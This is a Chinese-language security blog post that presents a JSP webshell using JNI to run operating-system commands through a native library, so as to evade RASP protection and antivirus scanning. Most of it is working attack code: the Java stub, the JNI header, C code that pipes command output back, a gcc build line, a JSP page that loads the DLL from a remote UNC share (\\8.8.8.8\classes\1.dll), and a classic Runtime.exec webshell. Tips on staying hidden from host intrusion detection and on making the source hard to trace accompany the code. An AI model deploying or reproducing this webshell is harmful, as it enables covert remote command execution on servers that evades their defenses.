背景
笔者近日看到了这样一篇文章:那些年我们堵住的洞 – OpenRASP纪实
想到rasp这的类具是基于java、php运行期的堆栈信息进行分析,可以尝试使用JNI技术进行绕过。java技术栈中的jni的原理是使用java调用c、c++函数,具体实现的思路是jsp编译为class文件,该class通过jni技术调用另外一处dll来执行命令函数绕过黑名单执行命令获取回显,即可实现rasp和安全防护软件的绕过。github地址:https://github.com/nanolikeyou/jniWebShell
原理使用
以我们要实现的jsp webshell命名为test.jsp为例。由于jni技术需要先通过javah+.class文件生成.h开头的c头文件,jsp是一种特殊的class文件,而jsp经过Tomcat编译class文件,命名遵从test.jsp ->> org.apache.jsp.test_jsp.class,所以我们需要新建package为org.apache.jsp,类名为test_jsp的.java文件。
packageorg.apache.jsp; publicclasstest_jsp { classJniClass { publicnativeStringexec(Stringstring); } }
cd到编译生成的target/class目录,使用javah org.apache.jsp.test_jsp$JniClass命令生成org_apache_jsp_test_jsp_JniClass.h文件,内容为:
#include <jni.h> #ifndef _Included_org_apache_jsp_test_jsp_JniClass #define _Included_org_apache_jsp_test_jsp_JniClass #ifdef __cplusplus extern"C"{ #endif /* * Class: org_apache_jsp_test_jsp_JniClass * Method: exec * Signature: (Ljava/lang/String;)Ljava/lang/String; */ JNIEXPORTjstringJNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec (JNIEnv*,jobject,jstring); #ifdef __cplusplus } #endif #endif
调用上一步生成头文件,编写有回显的c语言代码
#include"jni.h" #include"org_apache_jsp_test_jsp_JniClass.h" #include <string.h> #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> intexecmd(constchar*cmd,char*result) { charbuffer[1024*12]; //定义缓冲区 FILE*pipe=_popen(cmd,"r");//打开管道,并执行命令 if(!pipe) return0;//返回0表示运行失败 while(!feof(pipe)) { if(fgets(buffer,128,pipe)) { //将管道输出到result中 strcat(result,buffer); } } _pclose(pipe);//关闭管道 return1; //返回1表示运行成功 } JNIEXPORTjstringJNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv*env,jobjectclass_object,jstringjstr) { constchar*cstr=(*env)->GetStringUTFChars(env,jstr,NULL); charresult[1024*12]="";//定义存放结果的字符串数组 if(1==execmd(cstr,result)) { // printf(result); } charreturn_messge[100]=""; strcat(return_messge,result); jstringcmdresult=(*env)->NewStringUTF(env,return_messge); //system(); returncmdresult; } }
使用gcc将该c源码编译为dll或者lib(注意jdk版本要与目标机器的
jdk保持一致)
gcc-I"c:\Program Files\Java\jdk1.7.0_75\include"-I "c:\Program Files\Java\jdk1.7.0_75\include\win32"--sharedJniClass.c -o1.dll
具体在jspload时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径\相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。
<%@pagecontentType="text/html;charset=UTF-8"language="java"%> <%! classJniClass{ publicnativeStringexec(Stringstring); publicJniClass() { //System.load("/Users/nano/upload/libJniClass.jnilib"); System.load("\\\\8.8.8.8\\classes\\1.dll"); } } ; %> <% Stringcmd =request.getParameter("cmd"); JniClassjniClass=newJniClass(); Stringres=jniClass.exec(cmd); %> <%=res%>
技术要点
对于linux|mac环境,上一步生成的java内部类叫做JniClass,在类unix平台下,加载的库名需要为lib开头+JniClass+jnilib或者dylib。
核心的system.load方法是以File的形式记载dll|lib文件,该dll|lib路径的以远程的方式加载的绝对路径,所以需要目标机器上测试判断环境是支持//,还是支持\\\?简单判断方法是new file(path),然后判断file.exist。如果是前者的linux环境,需要想办法使用//的unc路径,推荐使用samba搭建匿名访问服务放置.jnilib载荷。如果是后者,即目标服务器为windows下的java应用,远程路径需要以\\\\开头,dll需要放在Windows下,在windows平台下445不通的情况下,会访问WebDAV(开启webclient)的80端口下载下来dll执行。
jni载荷的c、c++实现的代码要具备健壮性,避免目标环境的jvm奔溃。
使用system函数执行命令要小心被hids发现。
该webshell只在tomcat容器上测试过。
实战使用
经测试:jdk1.7+tomcat8.5+windows环境
jdk10+tomcat+Mac
rasp安全防护全开。
rasp安全防护全开。
样本index.jsp为传统的基于Runtime.getRuntime执行命令,
<%@pageimport="java.io.*"%> <% try{ Stringcmd=request.getParameter("cmd"); Processchild=Runtime.getRuntime().exec(cmd); InputStreamin=child.getInputStream(); intc; while((c=in.read())!=-1) { out.print((char)c); } in.close(); try{ child.waitFor(); } catch(InterruptedExceptione) { e.printStackTrace(); } } catch(IOExceptione) { System.err.println(e); } %>
毫不意外的被rasp记录日志并阻断。
使用jni突破rasp的jsp来执行shell,成功绕过。
成功绕过。
使用d盾查杀
virustotal:
其他
如果您有其他的思路和建议,欢迎同我交流:)
参考资料
https://jayl1n.github.io/2019/06/26/sctf-2019-babyEoP-Writeup/
https://www.jianshu.com/p/1a5fb579ef08
https://blog.csdn.net/qq_39448233/article/details/80882948
https://www.cnblogs.com/LittleHann/p/4326828.html
https://rasp.baidu.com/doc/
文由SDL安全实践